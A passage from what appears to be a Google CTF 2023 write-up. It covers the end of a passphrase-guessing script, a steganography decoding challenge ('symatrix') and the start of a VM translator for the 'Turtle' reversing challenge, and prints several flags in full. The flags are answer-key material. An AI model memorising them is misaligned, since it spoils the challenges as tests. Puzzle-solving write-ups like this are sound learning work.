    <span class="n">password</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">!=</span> <span class="n">password_len</span><span class="p">:</span>
        <span class="k">continue</span>
    <span class="n">s_password</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">sorted</span><span class="p">(</span><span class="n">password</span><span class="p">))</span>
<span class="c1">#    print(s_password)
#    print(type(s_password), type(verify))
</span>    <span class="k">if</span> <span class="n">s_password</span> <span class="ow">in</span> <span class="n">verify</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">words</span><span class="p">)</span>

        <span class="k">for</span> <span class="n">ws</span> <span class="ow">in</span> <span class="n">permutations</span><span class="p">(</span><span class="n">words</span><span class="p">):</span>
            <span class="n">password</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">ws</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>

            <span class="k">for</span> <span class="n">s</span><span class="p">,</span> <span class="n">e</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">password</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
                <span class="k">if</span> <span class="ow">not</span> <span class="n">path_exist</span><span class="p">(</span><span class="n">inv_nodes</span><span class="p">,</span> <span class="n">edges</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">e</span><span class="p">):</span>
                    <span class="k">break</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="k">try</span><span class="p">:</span>
                    <span class="k">print</span><span class="p">(</span><span class="n">passphrase</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">secret</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
                    <span class="k">print</span><span class="p">(</span><span class="s">"FOUND!!!!"</span><span class="p">)</span>
                    <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
                <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                    <span class="k">pass</span>
<span class="c1">#standardwatersigngivenchosen
#b'CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}'
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="symatrix">symatrix</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>The CIA has been tracking a group of hackers who communicate using PNG files embedded with a custom steganography algorithm. 
An insider spy was able to obtain the encoder, but it is not the original code. 
You have been tasked with reversing the encoder file and creating a decoder as soon as possible in order to read the most recent PNG file they have sent.

solves: 110
</pre></td></tr></tbody></table></code></pre></div></div>

<p><a href="https://github.com/google/google-ctf/blob/master/2023/misc-symatrix/challenge/encoder.c">encoder.c (From googleCTF github)</a></p>

<p>The challenge comes with a large encoder.c file, this seems intimidating initially. However, reading through the code a little bit, we quickly found out that there are part of the original python file written in the comment. Using a simple parser I extracted the python source from encoder.c file. (My parser actually missed a else: line, and I manuelly added that afterward)</p>

<div class="accordion mb-2" id="symatrix_parse_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-symatrix_parse_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#symatrix_parse_py-content" aria-expanded="true" aria-controls="symatrix_parse_py-content">
         <p>Show parse_c.py</p>
 
      </button>
    </p>
    <div id="symatrix_parse_py-content" class="accordion-collapse collapse" aria-labelledby="hd-symatrix_parse_py" data-bs-parent="#symatrix_parse_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"encoder.c"</span><span class="p">)</span>

<span class="n">source</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">70</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
    <span class="k">if</span> <span class="s">"encoder.py"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
<span class="c1">#        print(line)
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="n">line_number</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
        <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
            <span class="k">continue</span>
<span class="c1">#        print(line_number)
</span>        <span class="k">for</span> <span class="n">af</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
            <span class="n">temp</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readline</span><span class="p">()</span>
            <span class="k">if</span> <span class="s">"&lt;&lt;&lt;&lt;&lt;"</span> <span class="ow">in</span> <span class="n">temp</span><span class="p">:</span>
                <span class="n">source</span><span class="p">[</span><span class="n">line_number</span><span class="p">]</span> <span class="o">=</span> <span class="n">temp</span><span class="p">[</span><span class="mi">3</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"#"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"encoder.py"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">source</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<div class="accordion mb-2" id="symatrix_encoder_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-symatrix_encoder_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#symatrix_encoder_py-content" aria-expanded="true" aria-controls="symatrix_encoder_py-content">
         <p>Show encoder.py</p>
 
      </button>
    </p>
    <div id="symatrix_encoder_py-content" class="accordion-collapse collapse" aria-labelledby="hd-symatrix_encoder_py" data-bs-parent="#symatrix_encoder_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>
<span class="kn">import</span> <span class="nn">binascii</span>

<span class="k">def</span> <span class="nf">hexstr_to_binstr</span><span class="p">(</span><span class="n">hexstr</span><span class="p">):</span>
    <span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">hexstr</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
    <span class="n">bstr</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">while</span> <span class="n">n</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">bstr</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">n</span> <span class="o">%</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">bstr</span>
        <span class="n">n</span> <span class="o">=</span> <span class="n">n</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">bstr</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">bstr</span> <span class="o">=</span> <span class="s">'0'</span> <span class="o">+</span> <span class="n">bstr</span>
    <span class="k">return</span> <span class="n">bstr</span>


<span class="k">def</span> <span class="nf">pixel_bit</span><span class="p">(</span><span class="n">b</span><span class="p">):</span>
    <span class="k">return</span> <span class="nb">tuple</span><span class="p">((</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>


<span class="k">def</span> <span class="nf">embed</span><span class="p">(</span><span class="n">t1</span><span class="p">,</span> <span class="n">t2</span><span class="p">):</span>
    <span class="k">return</span> <span class="nb">tuple</span><span class="p">((</span><span class="n">t1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="n">t2</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">t1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="n">t2</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">t1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="n">t2</span><span class="p">[</span><span class="mi">2</span><span class="p">]))</span>


<span class="k">def</span> <span class="nf">full_pixel</span><span class="p">(</span><span class="n">pixel</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">pixel</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mi">255</span> <span class="ow">or</span> <span class="n">pixel</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">255</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Embedding file..."</span><span class="p">)</span>

<span class="n">bin_data</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"./flag.txt"</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">data_to_hide</span> <span class="o">=</span> <span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">bin_data</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>

<span class="n">base_image</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"./original.png"</span><span class="p">)</span>

<span class="n">x_len</span><span class="p">,</span> <span class="n">y_len</span> <span class="o">=</span> <span class="n">base_image</span><span class="p">.</span><span class="n">size</span>
<span class="n">nx_len</span> <span class="o">=</span> <span class="n">x_len</span> <span class="o">*</span> <span class="mi">2</span>

<span class="n">new_image</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="s">"RGB"</span><span class="p">,</span> <span class="p">(</span><span class="n">nx_len</span><span class="p">,</span> <span class="n">y_len</span><span class="p">))</span>

<span class="n">base_matrix</span> <span class="o">=</span> <span class="n">base_image</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>
<span class="n">new_matrix</span> <span class="o">=</span> <span class="n">new_image</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>

<span class="n">binary_string</span> <span class="o">=</span> <span class="n">hexstr_to_binstr</span><span class="p">(</span><span class="n">data_to_hide</span><span class="p">)</span>
<span class="n">remaining_bits</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">binary_string</span><span class="p">)</span>

<span class="n">nx_len</span> <span class="o">=</span> <span class="n">nx_len</span> <span class="o">-</span> <span class="mi">1</span>
<span class="n">next_position</span> <span class="o">=</span> <span class="mi">0</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">y_len</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">x_len</span><span class="p">):</span>

        <span class="n">pixel</span> <span class="o">=</span> <span class="n">new_matrix</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">base_matrix</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span>

        <span class="k">if</span> <span class="n">remaining_bits</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">next_position</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">full_pixel</span><span class="p">(</span><span class="n">pixel</span><span class="p">):</span>
            <span class="n">new_matrix</span><span class="p">[</span><span class="n">nx_len</span> <span class="o">-</span> <span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">embed</span><span class="p">(</span><span class="n">pixel_bit</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">binary_string</span><span class="p">[</span><span class="mi">0</span><span class="p">])),</span><span class="n">pixel</span><span class="p">)</span>
            <span class="n">next_position</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">17</span><span class="p">)</span>
            <span class="n">binary_string</span> <span class="o">=</span> <span class="n">binary_string</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
            <span class="n">remaining_bits</span> <span class="o">-=</span> <span class="mi">1</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">new_matrix</span><span class="p">[</span><span class="n">nx_len</span> <span class="o">-</span> <span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pixel</span>
            <span class="n">next_position</span> <span class="o">-=</span> <span class="mi">1</span>


<span class="n">new_image</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="s">"./symatrix.png"</span><span class="p">)</span>
<span class="n">new_image</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">base_image</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Work done!"</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>Base on the encoder.py file, it’s clear that the original image is mirrored, and the flag bit and embedded to the right half of the image. The pixel that are modifyed are always increamented by either (0, 1, 0) or (0, 1, 1), with the formar encoding 0 and the latter encoding 1. To decode the flag, we simply go through all the bytes, and extract those that are different left side v.s. right side. We can ignore the random offset since only the pixels that have data encoded are changed.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}</code></p>

<div class="accordion mb-2" id="symatrix_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-symatrix_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#symatrix_solve_py-content" aria-expanded="true" aria-controls="symatrix_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="symatrix_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-symatrix_solve_py" data-bs-parent="#symatrix_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>

<span class="n">encoded_image</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"./symatrix.png"</span><span class="p">)</span>
<span class="n">x_len</span><span class="p">,</span> <span class="n">y_len</span> <span class="o">=</span> <span class="n">encoded_image</span><span class="p">.</span><span class="n">size</span>

<span class="n">encoded_matrix</span> <span class="o">=</span> <span class="n">encoded_image</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>

<span class="n">center</span> <span class="o">=</span> <span class="n">x_len</span><span class="o">//</span><span class="mi">2</span>

<span class="n">flag_bits</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">y_len</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">x_len</span><span class="o">//</span><span class="mi">2</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">encoded_matrix</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">encoded_matrix</span><span class="p">[</span><span class="n">x_len</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]:</span>
            <span class="k">continue</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">flag_bits</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">encoded_matrix</span><span class="p">[</span><span class="n">x_len</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">][</span><span class="mi">2</span><span class="p">]</span> <span class="o">-</span> <span class="n">encoded_matrix</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">][</span><span class="mi">2</span><span class="p">])</span>
<span class="c1">#            print(flag_bits)
</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">flag_bits</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="reverse">Reverse</h2>

<h3 id="turtle">Turtle</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>Are we not all but turtles drifting in the sea, executing instructions as we stumble upon them?

solves: 27
</pre></td></tr></tbody></table></code></pre></div></div>

<p><a href="https://github.com/google/google-ctf/blob/master/2023/rev-turtle/attachments/turt.py">turt.py (From googleCTF github)</a></p>

<p>This is a vm implemented using turtles! After watching the program run for a bit, we can observe what each turtle are responsible for. For example, the S turtle act like a stack, C is like code, and R is like some registers. Based on this knowledge, I write a translator (translate.py) from <code class="language-plaintext highlighter-rouge">c.png</code> “code” file to get a pseudocode (trans.txt) of the program. I notice that each 5 pixel movement for the turtle seems to be for 1 unit, so I translate a lot of the moving instructions into pointer arithmatic, as they are easier to work with.</p>

<p>With the translated pseudocode, we notice that the program first check for the flag format, then make sure all characters are unique, make sure the characters are in a specific order, and lastly run some function on each character.</p>

<p>It took a while to understand that the function is actually a binary search on the character value, and match each step with some value in memory. For example, if the target value is smallar than the current middle element, we first match if the memory value is 1, then call the same search function recursively. To recover the flag, I extract the reference value, take all the found characters, and order it using the reording in the memory. See <code class="language-plaintext highlighter-rouge">simplify.txt</code> for notes taken during the process, and <code class="language-plaintext highlighter-rouge">solve.py</code> for more detail.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{iT5_E-tUr+1es/AlL.7h3;waY:d0Wn}</code></p>

<div class="accordion mb-2" id="tutle_translate_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-tutle_translate_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#tutle_translate_py-content" aria-expanded="true" aria-controls="tutle_translate_py-content">
         <p>Show translate.py</p>
 
      </button>
    </p>
    <div id="tutle_translate_py-content" class="accordion-collapse collapse" aria-labelledby="hd-tutle_translate_py" data-bs-parent="#tutle_translate_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>


<span class="c1"># M: Memory
# S: Stack
# R: Register
</span><span class="k">def</span> <span class="nf">loadM</span><span class="p">(</span><span class="n">flag</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">M</span>
    <span class="n">M</span> <span class="o">=</span> <span class="p">[(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">]</span> <span class="o">+</span> <span class="p">[(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">200</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">readM</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"M[</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">]"</span>

<span class="k">def</span> <span class="nf">writeM</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"M[</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">] = </span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="n">sp</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">loadS</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">S</span>
    <span class="n">S</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">255</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">128</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">240</span><span class="p">)]</span>
    <span class="n">sp</span> <span class="o">=</span> <span class="mi">120</span>

<span class="k">def</span> <span class="nf">readS</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"S[sp+</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">]"</span>

<span class="k">def</span> <span class="nf">writeS</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"S[sp+</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">] = </span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">loadR</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">R</span>
    <span class="n">R</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">readR</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"R[</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">]"</span>

<span class="k">def</span> <span class="nf">writeR</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"R[</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">] = </span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">readRVal</span><span class="p">(</span><span class="n">rNum</span><span class="p">):</span>
  <span class="k">return</span> <span class="n">readC</span><span class="p">(</span><span class="n">readR</span><span class="p">(</span><span class="n">rNum</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">getRNum</span><span class="p">(</span><span class="n">colorOrInt</span><span class="p">):</span>
  <span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">colorOrInt</span><span class="p">)</span> <span class="o">==</span> <span class="nb">tuple</span><span class="p">:</span>
    <span class="n">colorOrInt</span> <span class="o">=</span> <span class="n">colorOrInt</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
  <span class="k">return</span> <span class="p">(</span><span class="n">colorOrInt</span><span class="o">-</span><span class="mi">20</span><span class="p">)</span> <span class="o">//</span> <span class="mi">40</span>

<span class="k">def</span> <span class="nf">read</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">isR</span><span class="p">,</span> <span class="n">isP</span><span class="p">,</span> <span class="n">isC</span><span class="p">):</span>
  <span class="k">if</span> <span class="n">isP</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">readPVal</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">isR</span><span class="p">,</span> <span class="n">isC</span><span class="p">)</span>
  <span class="k">elif</span> <span class="n">isR</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">readRVal</span><span class="p">(</span><span class="n">getRNum</span><span class="p">(</span><span class="n">op</span><span class="p">))</span>
  <span class="k">elif</span> <span class="n">isC</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">readC</span><span class="p">(</span><span class="n">op</span><span class="p">)</span>
  <span class="k">raise</span> <span class="nb">BaseException</span><span class="p">(</span><span class="s">"invalid insn"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">write</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">isR</span><span class="p">,</span> <span class="n">isP</span><span class="p">,</span> <span class="n">isC</span><span class="p">):</span>
  <span class="k">if</span> <span class="n">isP</span><span class="p">:</span>
    <span class="n">writePVal</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">isR</span><span class="p">,</span> <span class="n">isC</span><span class="p">)</span>
  <span class="k">elif</span> <span class="n">isR</span><span class="p">:</span>
    <span class="n">writeRVal</span><span class="p">(</span><span class="n">getRNum</span><span class="p">(</span><span class="n">op</span><span class="p">),</span> <span class="n">val</span><span class="p">)</span>
  <span class="k">else</span><span class="p">:</span>
    <span class="k">raise</span> <span class="nb">BaseException</span><span class="p">(</span><span class="s">"invalid insn"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">writeRVal</span><span class="p">(</span><span class="n">rNum</span><span class="p">,</span> <span class="n">val</span><span class="p">):</span>
  <span class="n">writeR</span><span class="p">(</span><span class="n">rNum</span><span class="p">,</span> <span class="n">cToColor</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">writePVal</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">isS</span><span class="p">,</span> <span class="n">isC</span><span class="p">):</span>
  <span class="n">a</span> <span class="o">=</span> <span class="n">readPA</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">isC</span><span class="p">)</span>
